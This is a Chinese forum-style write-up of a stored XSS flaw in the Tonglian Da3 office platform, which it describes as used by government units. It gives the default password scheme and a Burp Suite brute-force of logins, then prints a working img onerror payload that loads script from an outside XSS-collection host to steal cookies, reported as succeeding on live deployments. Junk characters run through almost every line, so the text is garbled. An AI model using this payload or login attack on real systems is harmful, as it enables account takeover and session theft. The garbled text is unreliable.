6 p1 t5 g1 o5 c* g8 D& _
7 w2 W) P1 o: Y, u/ I
同联Da3协同办公平台后台通用储存型xss漏洞+ v/ }" G) h% L- s
) a6 Z% @9 @3 ^) [6 G
" {. F2 |; B* s3 _ 平台简介:: {8 C0 P* G8 R0 B9 H' Z
* k* n- }9 a) Q, L* O6 p
5 W" T2 Y- p; L( A7 N2 _
. w2 s+ o5 A5 x- P0 U& C4 O4 K Q
* s! e0 ?$ e& f7 S% C
, B* U* w& s# V3 ?& @ 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
0 c8 z3 v/ Q3 e* I* I! k4 u同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
4 p9 r6 r( L, t同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!( ?5 J5 D9 ]) N' S3 j& Z6 R# B
9 P8 y$ n/ X# {! p
' s- I' e1 }# O3 l1 N8 G" H
1 `% O5 s. e& H( j) y: \
; E# K0 |! I8 m
3 R& v. N) A- n$ N- w 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:% r. u( b; l' n3 W
( r4 s( D2 _+ |; O% T1 l6 ?/ ^ $ ^ P7 w- a1 ]7 c2 W
1 [1 X" ^3 `. @4 K! E
; e. O/ Z! ^. B% L6 j: U/ U
\" H7 I" M" D$ ? http://1.1.1.1:7197/cap-aco/#(案例2-)
. A* W3 K2 V8 }$ X" N( S" @+ D6 j
) \2 Q4 L i* F, { k4 h6 d% { ~" j2 S- b7 F: r* \ h
http://www.XXOO.com (案例1-官网网站)4 w" F* ^8 n, V1 Z7 @5 z
8 y6 a0 R8 v6 S# Z+ I' e
5 B% I4 f6 R9 Q* a6 b7 g 漏洞详情:
7 H7 |+ Y$ i: H
H, o+ g0 p2 h8 N; G% p8 n . P7 {, [; O: y. m
案例一、8 y/ h% L. g$ x8 Z7 M. s9 ~, ]
) x) g; M8 [8 x+ F
) O' y. F% j) u, c+ n" v 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试0 q3 J# g4 k) J' Q: f! O0 r9 @
+ A5 y# c- p/ ~3 k, S- X# ]
$ ?1 _0 k/ @- D" h. S: r3 Y
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:/ T; q8 F1 X. _2 N
$ Y! Y* h% b# q5 h% [* i0 U
5 z* P$ k, ]4 d" H0 @
. H! N# _" u' I1 n+ A, i8 B
) j4 }+ }5 D' D: s9 H$ l
; f" y* l$ R$ c6 a
* A5 n. a7 r+ p6 B, }6 s; x
+ `: q: C" m7 m5 L$ P
" |0 e! M( `5 c3 b# K status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图: 6 y$ T4 N7 R" `! q! V0 l
2 S- a- f9 B" j* U0 f) S' D+ t
' v6 U4 L7 f: d; P
1 D5 Q9 g" R5 V J% F7 S
2 @1 k+ X, {4 r% u" t
1 N' C1 v9 R. Z, p5 l: [4 B/ P
\8 J3 ^$ h) _8 D) I
: Z" e# P4 x: J Y7 t. L. p
+ O/ t% j) d) o
然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下 - i7 d G& b& \: S. S
3 Q3 X% _; u8 r7 q2 h1 T+ } 1 `8 _0 Z. h* }- h
/ h3 X- a( q$ X! }# w. @ S2 d0 Y7 C+ A
; r9 I; Q! n0 U V6 A
: I- p F7 t* b5 E2 n1 `2 |$ O <img src=x9 g7 {) X& r2 b5 p% n0 n+ F
onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
8 F) O) p6 r! R0 c2 {% g F2 c
. W$ n: o4 J% I* O
3 f( F1 n4 u( p) X% P, I
! B. W; V2 f. X. V" t
- A, v5 }8 L. P4 ]5 ?; m' J4 ]
$ B- n' h! I) v' ~$ L4 a! m8 p* R' ` 然后发送,接收cookie如图: : |7 ~8 j1 f/ W* }
2 c+ j, y4 L8 D8 {. Q# B3 L
; x+ u. ]( i( g: M
3 k! |' a( n; V' L1 L7 O# {, J
. h$ `; ^7 v6 r, M2 m
" F; ?/ I% b4 X0 S' R# E6 ?
2 y) p w) f! S+ v( ^- q8 p
$ }* D$ q' s# v. T% L B2 `: @: v
, c: Z3 l* W' h" I$ S
8 P7 i, D2 w) D; Q: K* d
9 p) ~; Q ]/ I3 D+ b+ ] A9 {4 o # W6 l* @1 @) u* U) B
# O+ W: `1 Y& h8 A$ m* s
: o2 T% K; }" c- r* C! `/ }
+ x+ N" y6 T" g8 K3 a' F7 g" V
* y1 h4 z0 n+ W& l
V m" M4 ? Z/ ]0 r( ~ w2 f: J! M % M r; T3 @( a7 `5 Y ^7 p
& o6 N- z2 K6 v, n
8 H3 n1 Y3 E; r! s- C6 u/ b, a + c* y: ?4 L1 e- @, d! L! ^% P
/ B7 s7 R |% n$ O4 U2 }) p$ f* A5 |
/ |( A& \! _5 q7 p
/ h: Q" D: X* ]& y
案例2、 # [# i1 Q1 Z1 W. ?- R" U( O. C
2 B9 d- f. D7 T2 W 1 F& u1 P; X4 n) Q( R" ^
前面步骤都一样,下面看效果图:
" V0 n5 m0 S n) V: f- L
; o' u2 `( ^$ W8 k6 A) [
0 Q; P+ s; n2 [( d# s' G; a
8 h! E" l* _. ]* Z; V4 B
+ t$ w8 ^* [1 `+ K
2 _% r Z p- D( ^/ ?( _2 b% D$ k( O9 {
2 ^( a8 Q' a% c( T1 Y# @
: S1 u( e9 V4 g5 a; u; J7 _
) ?; y9 k* s5 J" ]9 D & ~4 k' o3 Z8 X7 d) ~) Y4 C
+ R4 k2 ~# _! z' p6 B% I1 Y5 g$ H
, N3 b" W8 Q) w: d0 q" _, x
4 K8 U6 B/ B, X) {$ u* m# a8 e# V) ]
( n. o' w0 ^% N/ r: o" q# R
" x; X! X ^% ~* E. ?* _! V
- n9 S) j0 P s0 h3 s
% h" Z. m7 C; J5 z8 g6 v6 D ^/ |
0 k5 d4 j3 H" u0 N7 I' K9 o , @$ _: l% x2 E* f7 M
/ P5 @ I1 s9 w+ ^2 L0 \, g
( O# \$ m1 L7 i4 ~
0 t a- ?8 @) Y% d
1 H" V+ I/ \9 U6 q' X: q4 B * P9 i7 d; |1 J" M7 D W
* h2 _5 o" O2 O
% Q* t" v r# ]* F0 P: A- Z2 [
$ H" q; {1 K! P3 R% c& ]) l [9 d* E0 N* t) [7 v# }7 e
4 n2 a( C4 R# h' d: i- J& v